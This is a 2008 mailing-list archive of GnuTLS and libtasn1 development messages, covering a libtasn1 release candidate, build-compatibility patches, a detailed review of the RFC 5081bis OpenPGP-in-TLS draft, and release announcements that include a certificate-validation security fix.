http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz > > If you can confirm that it solves the libtasn1-config problem, I'll > release it. I'm confirming that it solves this problem. -- Arfrever Frehtes Taifersar Arahesis -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From dragonheart at gentoo.org Fri Nov 14 22:09:09 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Sat, 15 Nov 2008 08:09:09 +1100 Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed libtasn1-config though gnutls still uses it) In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org> References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> Message-ID: <200811150809.13772.dragonheart@gentoo.org> On Fri, 14 Nov 2008 10:54:45 pm Simon Josefsson wrote: > Please test this snapshot: > > http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz > > If you can confirm that it solves the libtasn1-config problem, I'll > release it. works for me. I'll add gnome-keyring patch to the gnome bugzilla to support both libtasn1-config and pkgconfig. Thanks Simon, > > Others, please test and tell me if there is anything wrong with it. > > Btw, there is now a 'libtasn1-1.x' branch: > > http://git.savannah.gnu.org/gitweb/?p=libtasn1.git > http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/ >libtasn1_1_x > > /Simon -- Daniel Black Gentoo Foundation -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From dragonheart at gentoo.org Fri Nov 14 23:07:42 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Sat, 15 Nov 2008 09:07:42 +1100 Subject: libtasn1 1.7 release candidate (was: Re: libtasn1-1.6 removed libtasn1-config though gnutls still uses it) In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org> References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> Message-ID: <200811150907.46355.dragonheart@gentoo.org> On Fri, 14 Nov 2008 10:54:45 pm Simon Josefsson wrote: > Please test this snapshot: > > http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz > > If you can confirm that it solves the libtasn1-config problem, I'll > release it. > > Others, please test and tell me if there is anything wrong with it. > > Btw, there is now a 'libtasn1-1.x' branch: > > http://git.savannah.gnu.org/gitweb/?p=libtasn1.git > http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/ >libtasn1_1_x > > /Simon is it worth re-adding lib/libtasn1.m4? gnome-keyring-2.22.3 uses it. -- Daniel Black Gentoo Foundation -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From dragonheart at gentoo.org Sat Nov 15 00:32:13 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Sat, 15 Nov 2008 10:32:13 +1100 Subject: gnome-keyring patch (was: Re: libtasn1-1.6 removed libtasn1-config though gnutls still uses it) In-Reply-To: <87fxlu34l6.fsf_-_@mocca.josefsson.org> References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> Message-ID: <200811151032.17628.dragonheart@gentoo.org> gnome-keyring patch reported taking the libtasn1.m4 content and supporting libtasn1-config and pkg-config. http://bugzilla.gnome.org/show_bug.cgi?id=560869 probably should of put the pkg-config bit first. oh well, only a transition strategy. -- Daniel Black Gentoo Foundation -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From nmav at gnutls.org Sat Nov 15 16:49:06 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sat, 15 Nov 2008 17:49:06 +0200 Subject: [Help-gnutls] possible memory leak in _gnutls_free_auth_info() In-Reply-To: <20081113203020.GA877@weiser.dinsnail.net> References: <20081113203020.GA877@weiser.dinsnail.net> Message-ID: <491EEF72.9030004@gnutls.org> Michael Weiser wrote: > Hello, > > I think I found a memory leak with PSK authentication. After one > successful gnutls_handshake on a fresh session, the leaks tool on my Mac > reports the memory leaks shown below (edited for readability). > I tracked this to a missing case for GNUTLS_CRD_PSK in > _gnutls_free_auth_info() and fixed it using the attached patch. It's > against 2.6.0 but applies cleanly to 2.6.2. Thank you for the trace and the patch. Applied! regards, Nikos From nmav at gnutls.org Sat Nov 15 17:54:30 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sat, 15 Nov 2008 18:54:30 +0200 Subject: rfc5081 update In-Reply-To: <873ahw1v66.fsf@squeak.fifthhorseman.net> References: <490F4F26.1030104@gnutls.org> <873ahw1v66.fsf@squeak.fifthhorseman.net> Message-ID: <491EFEC6.7050200@gnutls.org> Daniel Kahn Gillmor wrote: > On Mon 2008-11-03 14:21:10 -0500, Nikos Mavrogiannopoulos wrote: > Hello, Thank you for the comments. My comments inline: > Sorry it's taken me a while to really read this. I have a few > concerns. If this is not the proper forum for airing these things, > just point me in the right direction. > > * The draft does not specify what version of OpenPGP certificates > should be used for this. Given that RFC 4880 explicitly deprecated > V3 certificates, i think this draft should at least do the same. > It would be simpler for implementation if this draft specified that > compliant implementations MUST support V4 certificates, and MUST > NOT use V3 certificates. I was thinking to make this explicit but since I'm referencing 4880 for OpenPGP certificates I think it might be enough. In general I didn't want to specify exactly what is allowed and not and leave this to 4880 since this is the authority for openpgp keys. > * Section 3.1 is phrased as a comparison between client and server: > > struct { > select(ClientOrServerExtension) { > case client: > CertificateType certificate_types<1..2^8-1>; > case server: > CertificateType certificate_type; > } > } CertificateTypeExtension; > > However, i think this is misleading; when the same struct is used > during the Client Certificate Request, the server offers some > number of CertificateType possibilities, and the client responds > with the CertificateType of its choosing. If i'm reading this > right, the naming is actually backwards when the struct is used in > section 3.5. Maybe it would be better to refer to these struct > elements as request/response instead of client/server? Probably it would be more clear... but now it is consistent with the TLS protocol wording (at least rfc2246 which I am familiar with). A change in wording would confuse TLS implementors and these are the target group of this paper. > * It looks like the values for OpenPGPCertDescriptorType are > overlapped: in particular, 1 is bound to "cert" in 5081, but bound > to "empty_cert" in 5081bis. This seems like it could cause > problems if one party implements 5081 and the other implements > 5081bis. The overlap is intentional. The empty_cert in 5081bis is the same as a empty cert would be expressed in 5081. Backwards compatibility is not really an issue since only gnutls implements this protocol and the current implementation does not do 5081 (it conforms to 5081bis). > * There is no IANA registry requested for OpenPGPCertDescriptorType, > and none is allocated in 5081 either. Is that OK? Could this enum > ever change? Who will manage addition of new values there are > changes needed? The only way for this to change now is through an rfc that updates this one. Since this is individual submission I cannot allocate IANA registry for that. (rfc5081 was sponsored by TLS WG). > * I'm concerned that the useful values for OpenPGPCertDescriptorType > (subkey_cert and subkey_cert_fingerprint) all refer to subkeys. > It's certainly possible to set the Authentication (0x20) Usage flag > [0] on the primary key, or to have a primary key with no subkeys. > While i think the obvious answer is that the keyid can refer to > *either* the primary key or the subkey (but to a specific key, not > to the entire aggregated certificate), it seems a little odd to > explicitly call it the subkey id. Indeed. However I prefer this naming because it makes explicit the fact that subkeys can be used. (the term key id wouldn't). Should I make explicit the fact that the main keyid could be used there? > * Why are OpenPGPKeyID elements written foo<1..8>. Shouldn't we be > requiring the full 8 bytes of keyid? The syntax seems to imply to > me that i could offer a 1-byte KeyID and still be compliant. Compliant with rfc5081bis but not with rfc4880 thus rejected by the peer. However this notation has the advantage that it includes a header with the length of foo. Thus if rfc4880 is updated an includes keyids that are more than 8 bytes long the same structure will be able to hold them. > * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and > OpenPGPCertFingerprint? For V4 keys, the KeyID is just the > low-order 64 bits of the fingerprint [1]. If we only allow > V4-or-later keys in this spec, we could remove that struct element. The OpenPGPCertFingerprint should contain the fingerprint of the main key of the certificate and OpenPGPKeyID the keyid of the subkey to be used for authentication. Do you think that I should include this explanation in the document? best regards, Nikos From dkg at fifthhorseman.net Sun Nov 16 05:52:35 2008 From: dkg at fifthhorseman.net (Daniel Kahn Gillmor) Date: Sat, 15 Nov 2008 23:52:35 -0500 Subject: rfc5081 update In-Reply-To: <491EFEC6.7050200@gnutls.org> (Nikos Mavrogiannopoulos's message of "Sat\, 15 Nov 2008 18\:54\:30 +0200") References: <490F4F26.1030104@gnutls.org> <873ahw1v66.fsf@squeak.fifthhorseman.net> <491EFEC6.7050200@gnutls.org> Message-ID: <87iqqomfvw.fsf@squeak.fifthhorseman.net> On Sat 2008-11-15 11:54:30 -0500, Nikos Mavrogiannopoulos wrote: > Daniel Kahn Gillmor wrote: > >> * The draft does not specify what version of OpenPGP certificates >> should be used for this. Given that RFC 4880 explicitly deprecated >> V3 certificates, i think this draft should at least do the same. >> It would be simpler for implementation if this draft specified that >> compliant implementations MUST support V4 certificates, and MUST >> NOT use V3 certificates. > > I was thinking to make this explicit but since I'm referencing 4880 for > OpenPGP certificates I think it might be enough. In general I didn't > want to specify exactly what is allowed and not and leave this to 4880 > since this is the authority for openpgp keys. OK, this makes sense. >> * Section 3.1 is phrased as a comparison between client and server: >> >> struct { >> select(ClientOrServerExtension) { >> case client: >> CertificateType certificate_types<1..2^8-1>; >> case server: >> CertificateType certificate_type; >> } >> } CertificateTypeExtension; >> >> However, i think this is misleading; when the same struct is used >> during the Client Certificate Request, the server offers some >> number of CertificateType possibilities, and the client responds >> with the CertificateType of its choosing. If i'm reading this >> right, the naming is actually backwards when the struct is used in >> section 3.5. Maybe it would be better to refer to these struct >> elements as request/response instead of client/server? > > Probably it would be more clear... but now it is consistent with the TLS > protocol wording (at least rfc2246 which I am familiar with). A change > in wording would confuse TLS implementors and these are the target group > of this paper. I suspect that i'm actually part of the target group of this paper, and i was confused by it, fwiw. The top of page 37 of RFC 5246 [0] actually takes pains to explain the difference between client and server use of the handshake messages: Note one exception to the ordering: the Certificate message is used twice in the handshake (from server to client, then from client to server), but described only in its first position. Perhaps a similar clarification would be useful in 5081bis? >> * There is no IANA registry requested for OpenPGPCertDescriptorType, >> and none is allocated in 5081 either. Is that OK? Could this enum >> ever change? Who will manage addition of new values there are >> changes needed? > > The only way for this to change now is through an rfc that updates this > one. Since this is individual submission I cannot allocate IANA registry > for that. (rfc5081 was sponsored by TLS WG). OK, that's a shame. Isn't 5081bis an RFC that updates 5081? Or are you saying that this would need to be handled in an additional subsequent RFC? Would a second author on the RFC raise it out of "individual submission" status enough to consider allocation of a new registry? Sorry i don't know more about the RFC process. Pointers to relevant documentation would be happily accepted. >> * I'm concerned that the useful values for OpenPGPCertDescriptorType >> (subkey_cert and subkey_cert_fingerprint) all refer to subkeys. >> It's certainly possible to set the Authentication (0x20) Usage flag >> [0] on the primary key, or to have a primary key with no subkeys. >> While i think the obvious answer is that the keyid can refer to >> *either* the primary key or the subkey (but to a specific key, not >> to the entire aggregated certificate), it seems a little odd to >> explicitly call it the subkey id. > > Indeed. However I prefer this naming because it makes explicit the fact > that subkeys can be used. (the term key id wouldn't). Should I make > explicit the fact that the main keyid could be used there? Yes, making it explicit in the RFC would be good. >> * Why are OpenPGPKeyID elements written foo<1..8>. Shouldn't we be >> requiring the full 8 bytes of keyid? The syntax seems to imply to >> me that i could offer a 1-byte KeyID and still be compliant. > > Compliant with rfc5081bis but not with rfc4880 thus rejected by the > peer. However this notation has the advantage that it includes a header > with the length of foo. Thus if rfc4880 is updated an includes keyids > that are more than 8 bytes long the same structure will be able to hold > them. In that case, shouldn't it actually be foo<8..> or something like that? We know that the keyids will no less then 8, but we would like to leave it open to be larger, right? There's no sense in capping the size at 8 max, or allowing values lower than 8 that i can see. Or am i misunderstanding the syntax? >> * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and >> OpenPGPCertFingerprint? For V4 keys, the KeyID is just the >> low-order 64 bits of the fingerprint [1]. If we only allow >> V4-or-later keys in this spec, we could remove that struct element. > > The OpenPGPCertFingerprint should contain the fingerprint of the > main key of the certificate and OpenPGPKeyID the keyid of the subkey > to be used for authentication. Do you think that I should include > this explanation in the document? If this is the desired behavior, then yes, it should be made significantly more explicit. As one point of reference, GPG makes very little distinction between keyids of a subkey and keyids of a primary key. While the output will always show the primary keyid in most places, you can specify the keyid of the subkey with no detriment. I'm not sure that this should be the desired behavior, though. Why bother including the fingerprint of the main key? Why not just include the fingerprint of the relevant sub/primary key? Why would you only include the keyid of the key to actually be used, instead of the fingerprint? It seems to me like just supplying the fingerprint of the specifically-relevant (primary or sub) key would be sufficient. One other question: Should there be any recommendation that the (primary or sub) key should have any particular Usage flags set? I think it would be appropriate to suggest that keys with the Authentication Usage Flag (0x20) SHOULD be used, since authentication is the specific use of the keys in this context (AIUI, the Encrypted Communications Usage Flag (0x04) is not relevant because the communications are in fact encrypted by the negotiated cipher suite, *not* by the private keys of either party). Thanks very much for your work on this specification, Nikos! Sincerely, --dkg [0] http://tools.ietf.org/html/rfc5246#page-37 [1] http://tools.ietf.org/html/rfc4880#section-5.2.3.21 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From nmav at gnutls.org Sun Nov 16 11:44:42 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sun, 16 Nov 2008 12:44:42 +0200 Subject: rfc5081 update In-Reply-To: <87iqqomfvw.fsf@squeak.fifthhorseman.net> References: <490F4F26.1030104@gnutls.org> <873ahw1v66.fsf@squeak.fifthhorseman.net> <491EFEC6.7050200@gnutls.org> <87iqqomfvw.fsf@squeak.fifthhorseman.net> Message-ID: <491FF99A.2090004@gnutls.org> Daniel Kahn Gillmor wrote: >>> * Section 3.1 is phrased as a comparison between client and server: >>> >>> struct { >>> select(ClientOrServerExtension) { >>> case client: >>> CertificateType certificate_types<1..2^8-1>; >>> case server: >>> CertificateType certificate_type; >>> } >>> } CertificateTypeExtension; >>> >>> However, i think this is misleading; when the same struct is used >>> during the Client Certificate Request, the server offers some >>> number of CertificateType possibilities, and the client responds >>> with the CertificateType of its choosing. If i'm reading this >>> right, the naming is actually backwards when the struct is used in >>> section 3.5. Maybe it would be better to refer to these struct >>> elements as request/response instead of client/server? >> Probably it would be more clear... but now it is consistent with the TLS >> protocol wording (at least rfc2246 which I am familiar with). A change >> in wording would confuse TLS implementors and these are the target group >> of this paper. > > I suspect that i'm actually part of the target group of this paper, > and i was confused by it, fwiw. The top of page 37 of RFC 5246 [0] > actually takes pains to explain the difference between client and > server use of the handshake messages: > > Note one exception to the ordering: the Certificate message is used > twice in the handshake (from server to client, then from client to > server), but described only in its first position. > Perhaps a similar clarification would be useful in 5081bis? Would the following text in "Client hello" section be enough? "Note that the CertificateTypeExtension structure is being used both by the client and the server, although specified once in this document, a practice common in the TLS protocol specification ." >>> * There is no IANA registry requested for OpenPGPCertDescriptorType, >>> and none is allocated in 5081 either. Is that OK? Could this enum >>> ever change? Who will manage addition of new values there are >>> changes needed? >> The only way for this to change now is through an rfc that updates this >> one. Since this is individual submission I cannot allocate IANA registry >> for that. (rfc5081 was sponsored by TLS WG). > > OK, that's a shame. Isn't 5081bis an RFC that updates 5081? Or are > you saying that this would need to be handled in an additional > subsequent RFC? Would a second author on the RFC raise it out of > "individual submission" status enough to consider allocation of a new > registry? Sorry i don't know more about the RFC process. Pointers to > relevant documentation would be happily accepted. formally rfc5081bis would obsolete rfc5081, but because there wasn't interest in any working group for this document, it is an independent submission, that documents the way we use in gnutls openpgp certificates. More authors wouldn't affect the process since a WG has to show interest. The independent submission proccess is at: http://www.rfc-editor.org/indsubs.html The ietf standard process is at: http://www.ietf.org/IETF-Standards-Process.html >>> * I'm concerned that the useful values for OpenPGPCertDescriptorType >>> (subkey_cert and subkey_cert_fingerprint) all refer to subkeys. >>> It's certainly possible to set the Authentication (0x20) Usage flag >>> [0] on the primary key, or to have a primary key with no subkeys. >>> While i think the obvious answer is that the keyid can refer to >>> *either* the primary key or the subkey (but to a specific key, not >>> to the entire aggregated certificate), it seems a little odd to >>> explicitly call it the subkey id. >> Indeed. However I prefer this naming because it makes explicit the fact >> that subkeys can be used. (the term key id wouldn't). Should I make >> explicit the fact that the main keyid could be used there? > > Yes, making it explicit in the RFC would be good. I changed the sentence: "Since those certificates might contain several subkeys the subkey to be used for this session is explicitely specified in the OpenPGPKeyID field, even if the certificate has a single subkey." with: "Since those certificates might contain several subkeys the subkey ID to be used for this session is explicitely specified in the OpenPGPKeyID field. The key ID must be specified even if the certificate has only a primary key." >>> * Why are OpenPGPKeyID elements written foo<1..8>. Shouldn't we be >>> requiring the full 8 bytes of keyid? The syntax seems to imply to >>> me that i could offer a 1-byte KeyID and still be compliant. >> Compliant with rfc5081bis but not with rfc4880 thus rejected by the >> peer. However this notation has the advantage that it includes a header >> with the length of foo. Thus if rfc4880 is updated an includes keyids >> that are more than 8 bytes long the same structure will be able to hold >> them. > > In that case, shouldn't it actually be foo<8..> or something like > that? We know that the keyids will no less then 8, but we would like > to leave it open to be larger, right? There's no sense in capping the > size at 8 max, or allowing values lower than 8 that i can see. Or am > i misunderstanding the syntax? I've changed it to: struct { opaque OpenPGPKeyID<8..255>; opaque OpenPGPCert<0..2^24-1>; } OpenPGPSubKeyCert; struct { opaque OpenPGPKeyID<8..255>; opaque OpenPGPCertFingerprint<20..255>; } OpenPGPSubKeyFingerprint; Plus the text: "Implementations of this protocol MUST ensure that the sizes, of key IDs and fingerprints, in the OpenPGPSubKeyCert and OpenPGPSubKeyFingerprint structures comply with . " >>> * Why does OpenPGPSubKeyFingerprint contain both OpenPGPKeyID and >>> OpenPGPCertFingerprint? For V4 keys, the KeyID is just the >>> low-order 64 bits of the fingerprint [1]. If we only allow >>> V4-or-later keys in this spec, we could remove that struct element. >> The OpenPGPCertFingerprint should contain the fingerprint of the >> main key of the certificate and OpenPGPKeyID the keyid of the subkey >> to be used for authentication. Do you think that I should include >> this explanation in the document? > > If this is the desired behavior, then yes, it should be made > significantly more explicit. As one point of reference, GPG makes > very little distinction between keyids of a subkey and keyids of a > primary key. While the output will always show the primary keyid in > most places, you can specify the keyid of the subkey with no > detriment. Yes but in other cases one might index openpgp keys by the primary key ID and thus might be required to retrieve it. I changed: "This tag uses the OpenPGPSubKeyFingerprint structure and requires the subkey ID to be specified as well." to: "This tag uses the OpenPGPSubKeyFingerprint structure and requires the primary key fingerprint to be specified, as well as the subkey ID to be used for this session." > bother including the fingerprint of the main key? Why not just > include the fingerprint of the relevant sub/primary key? This is a method for retrieving keys and shouldn't force one to index all the subkeys of a single certificate. > One other question: > Should there be any recommendation that the (primary or sub) key > should have any particular Usage flags set? I think it would be > appropriate to suggest that keys with the Authentication Usage Flag > (0x20) SHOULD be used, since authentication is the specific use of the > keys in this context (AIUI, the Encrypted Communications Usage Flag > (0x04) is not relevant because the communications are in fact > encrypted by the negotiated cipher suite, *not* by the private keys of > either party). In the terminology section it says: "We use the term "OpenPGP certificate" to refer to OpenPGP keys that are enabled for authentication." This was intended to specify that keys must have the authentication usage flag set. I think I should also make it explicit in the document by appending to: "OpenPGP certificates to be transferred are placed in the Certificate structure and tagged with the OpenPGPCertDescriptorType "subkey_cert". Since those certificates might contain several subkeys the subkey ID to be used for this session is explicitely specified in the OpenPGPKeyID field. The key ID must be specified even if the certificate has only a primary key. The peer once receiving this type has to either use the specified subkey or terminate the session with a fatal alert of "unsupported_certificate"." the: "The subkeys to be used with this protocol SHOULD have the authentication flag (0x20) set." regards, Nikos From simon at josefsson.org Mon Nov 17 11:04:29 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 17 Nov 2008 11:04:29 +0100 Subject: libtasn1 1.7 release candidate In-Reply-To: <200811150907.46355.dragonheart@gentoo.org> (Daniel Black's message of "Sat, 15 Nov 2008 09:07:42 +1100") References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> <200811150907.46355.dragonheart@gentoo.org> Message-ID: <87hc66wtw2.fsf@mocca.josefsson.org> Daniel Black writes: > On Fri, 14 Nov 2008 10:54:45 pm Simon Josefsson wrote: >> Please test this snapshot: >> >> http://daily.josefsson.org/libtasn1-1/libtasn1-1-20081114.tar.gz >> >> If you can confirm that it solves the libtasn1-config problem, I'll >> release it. >> >> Others, please test and tell me if there is anything wrong with it. >> >> Btw, there is now a 'libtasn1-1.x' branch: >> >> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git >> http://git.savannah.gnu.org/gitweb/?p=libtasn1.git;a=shortlog;h=refs/heads/ >>libtasn1_1_x >> >> /Simon > > is it worth re-adding lib/libtasn1.m4? gnome-keyring-2.22.3 uses it. The file should only be needed by gnome-keyring developers, so if they notice faster than libtasn1.m4 is gone, the better. :) I'll release v1.7 now, thanks for testing everyone. /Simon From simon at josefsson.org Mon Nov 17 11:08:18 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 17 Nov 2008 11:08:18 +0100 Subject: gnome-keyring patch In-Reply-To: <200811151032.17628.dragonheart@gentoo.org> (Daniel Black's message of "Sat, 15 Nov 2008 10:32:13 +1100") References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> <200811151032.17628.dragonheart@gentoo.org> Message-ID: <87d4guwtpp.fsf@mocca.josefsson.org> Daniel Black writes: > gnome-keyring patch reported taking the libtasn1.m4 content and supporting > libtasn1-config and pkg-config. > > http://bugzilla.gnome.org/show_bug.cgi?id=560869 > > probably should of put the pkg-config bit first. oh well, only a transition > strategy. Thanks. Btw, pkg-config has been supported by libtasn1 for quite a while (0.2.14 to be precise), so maybe libtasn1-config isn't worth supporting anymore? /Simon From simon at josefsson.org Mon Nov 17 11:36:42 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 17 Nov 2008 11:36:42 +0100 Subject: Libtasn1 1.7 Message-ID: <87r65avdtx.fsf@mocca.josefsson.org> Libtasn1 is a standalone library written in C for manipulating ASN.1 objects including DER/BER encoding and DER/BER decoding. Libtasn1 is used by GnuTLS to manipulate X.509 objects and by Shishi to handle Kerberos V5 packets. Version 1.7 (released 2008-11-17) - Add libtasn1-config for compatibility. Please stop use it as it will disappear in v2.0! Use standard AC_CHECK_FUNCS autoconf tests or pkg-config instead. - Read PKCS#12 blob as binary file, fixes self-tests under Mingw. - Fix use of __attribute__ ((deprecated)) to work on non-GCC (#106548). Commercial support contracts for Libtasn1 are available, and they help finance continued maintenance. Simon Josefsson Datakonsult, a Stockholm based privately held company, is currently funding Libtasn1 maintenance. We are always looking for interesting development projects. See http://josefsson.org/ for more details. If you need help to use Libtasn1, or want to help others, you are invited to join our help-gnutls mailing list, see: . Homepage: http://josefsson.org/libtasn1/ Here are the compressed sources (1.6MB): ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz http://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz Here are GPG detached signatures using key 0xB565716F: ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz.sig http://ftp.gnu.org/gnu/gnutls/libtasn1-1.7.tar.gz.sig The software is cryptographically signed by the author using an OpenPGP key identified by the following information: pub 1280R/B565716F 2002-05-05 [expires: 2009-04-21] Key fingerprint = 0424 D4EE 81A0 E3D1 19C6 F835 EDA2 1E94 B565 716F uid Simon Josefsson uid Simon Josefsson sub 1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21] The key is available from: http://josefsson.org/key.txt dns:b565716f.josefsson.org?TYPE=CERT Here are the SHA-1 and SHA-224 checksums: 2d7bfe0d84f38a5450d8bab511eb1ec4036f18ec libtasn1-1.7.tar.gz ce004d130068664ec2b11dc291bec05b2ef98afc2d44257f7b6b7225 libtasn1-1.7.tar.gz Happy hacking, Simon -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 419 bytes Desc: not available URL: From simon at josefsson.org Tue Nov 18 01:25:14 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 18 Nov 2008 01:25:14 +0100 Subject: GnuTLS 2.7.2 Message-ID: <87r6593mol.fsf@mocca.josefsson.org> The GnuTLS 2.7.x branch is NOT what you want for your stable system. It is intended for developers and experienced users. Here are the compressed sources: http://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2 (5.7MB) ftp://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2 Here is the OpenPGP signature: http://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2.sig ftp://alpha.gnu.org/gnu/gnutls/gnutls-2.7.2.tar.bz2.sig Improving GnuTLS is costly, but you can help! We are looking for organizations that find GnuTLS useful and wish to contribute back. You can contribute by reporting bugs, improve the software, or donate money or equipment. Commercial support contracts for GnuTLS are available, and they help finance continued maintenance. Simon Josefsson Datakonsult AB, a Stockholm based privately held company, is currently funding GnuTLS maintenance. We are always looking for interesting development projects. See http://josefsson.org/ for more details. /Simon * Version 2.7.2 (released 2008-11-18) ** libgnutls: Fix X.509 certificate chain validation error. [GNUTLS-SA-2008-3] The flaw makes it possible for man in the middle attackers (i.e., active attackers) to assume any name and trick GNU TLS clients into trusting that name. Thanks for report and analysis from Martin von Gagern . [CVE-2008-4989] Any updates with more details about this vulnerability will be added to ** libgnutls: Fix namespace issue with version symbols. The symbols LIBGNUTLS_VERSION, LIBGNUTLS_VERSION_MAJOR, LIBGNUTLS_VERSION_MINOR, LIBGNUTLS_VERSION_PATCH, and LIBGNUTLS_VERSION_NUMBER were renamed to GNUTLS_VERSION_NUMBER, GNUTLS_VERSION_MAJOR, GNUTLS_VERSION_MINOR, GNUTLS_VERSION_PATCH, and GNUTLS_VERSION_NUMBER respectively. The old symbols will continue to work but are deprecated. ** certtool: allow setting arbitrary key purpose object identifiers. ** libgnutls: Fix detection of C99 macros, to make debug logging work again. ** libgnutls: Add missing prototype for gnutls_srp_set_prime_bits. Reported by Kevin Quick in . ** libgnutls-extra: Make building with LZO compression work again. Build failure reported by Arfrever Frehtes Taifersar Arahesis in . ** libgnutls: Change detection of when to use a linker version script. Use --enable-ld-version-script or --disable-ld-version-script to override auto-detection logic. ** doc: Change license on the manual to GFDLv1.3+. ** doc: GTK-DOC fixes for new splitted configuration system. ** doc: Texinfo stylesheet uses white background. ** tests: Add cve-2008-4989.c self-test. Tests regressions of the GNUTLS-SA-2008-3 security problem, and the follow-on problem with crashes on length 1 certificate chains. ** gnulib: Deprecated modules removed. Modules include memchr and memcmp. ** Fix warnings and build GnuTLS with more warnings enabled. ** minitasn1: Internal copy updated to libtasn1 v1.7. ** API and ABI modifications: gnutls_certificate_set_x509_simple_pkcs12_mem: ADDED GNUTLS_VERSION: ADDED, replaces LIBGNUTLS_VERSION. GNUTLS_VERSION_MAJOR: ADDED, replaces LIBGNUTLS_VERSION_MAJOR. GNUTLS_VERSION_MINOR: ADDED, replaces LIBGNUTLS_VERSION_MINOR. GNUTLS_VERSION_PATCH: ADDED, replaces LIBGNUTLS_VERSION_PATCH. GNUTLS_VERSION_NUMBER: ADDED, replaces LIBGNUTLS_VERSION_NUMBER. LIBGNUTLS_VERSION: DEPRECATED. LIBGNUTLS_VERSION_MAJOR: DEPRECATED. LIBGNUTLS_VERSION_MINOR: DEPRECATED. LIBGNUTLS_VERSION_PATCH: DEPRECATED. LIBGNUTLS_VERSION_NUMBER: DEPRECATED. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 419 bytes Desc: not available URL: From dragonheart at gentoo.org Tue Nov 18 13:24:13 2008 From: dragonheart at gentoo.org (Daniel Black) Date: Tue, 18 Nov 2008 23:24:13 +1100 Subject: gnome-keyring patch References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> <200811151032.17628.dragonheart@gentoo.org> <87d4guwtpp.fsf@mocca.josefsson.org> Message-ID: Simon Josefsson wrote: > Daniel Black writes: > >> gnome-keyring patch reported taking the libtasn1.m4 content and >> supporting libtasn1-config and pkg-config. >> >> http://bugzilla.gnome.org/show_bug.cgi?id=560869 >> >> probably should of put the pkg-config bit first. oh well, only a >> transition strategy. > > Thanks. Btw, pkg-config has been supported by libtasn1 for quite a > while (0.2.14 to be precise), so maybe libtasn1-config isn't worth > supporting anymore? > > /Simon Thanks for research into history. I probably should of done that and saved some m4 porting pain. Updated patch in gnome bugzilla. Thanks again Simon. -- Daniel Black Gentoo Foundation From simon at josefsson.org Tue Nov 18 16:20:19 2008 From: simon at josefsson.org (Simon Josefsson) Date: Tue, 18 Nov 2008 16:20:19 +0100 Subject: gnome-keyring patch In-Reply-To: (Daniel Black's message of "Tue, 18 Nov 2008 23:24:13 +1100") References: <200811140538.56751.dragonheart@gentoo.org> <87k5b635po.fsf@mocca.josefsson.org> <87fxlu34l6.fsf_-_@mocca.josefsson.org> <200811151032.17628.dragonheart@gentoo.org> <87d4guwtpp.fsf@mocca.josefsson.org> Message-ID: <87r659xdqk.fsf@mocca.josefsson.org> Daniel Black writes: > Simon Josefsson wrote: > >> Daniel Black writes: >> >>> gnome-keyring patch reported taking the libtasn1.m4 content and >>> supporting libtasn1-config and pkg-config. >>> >>> http://bugzilla.gnome.org/show_bug.cgi?id=560869 >>> >>> probably should of put the pkg-config bit first. oh well, only a >>> transition strategy. >> >> Thanks. Btw, pkg-config has been supported by libtasn1 for quite a >> while (0.2.14 to be precise), so maybe libtasn1-config isn't worth >> supporting anymore? >> >> /Simon > > Thanks for research into history. I probably should of done that and saved > some m4 porting pain. 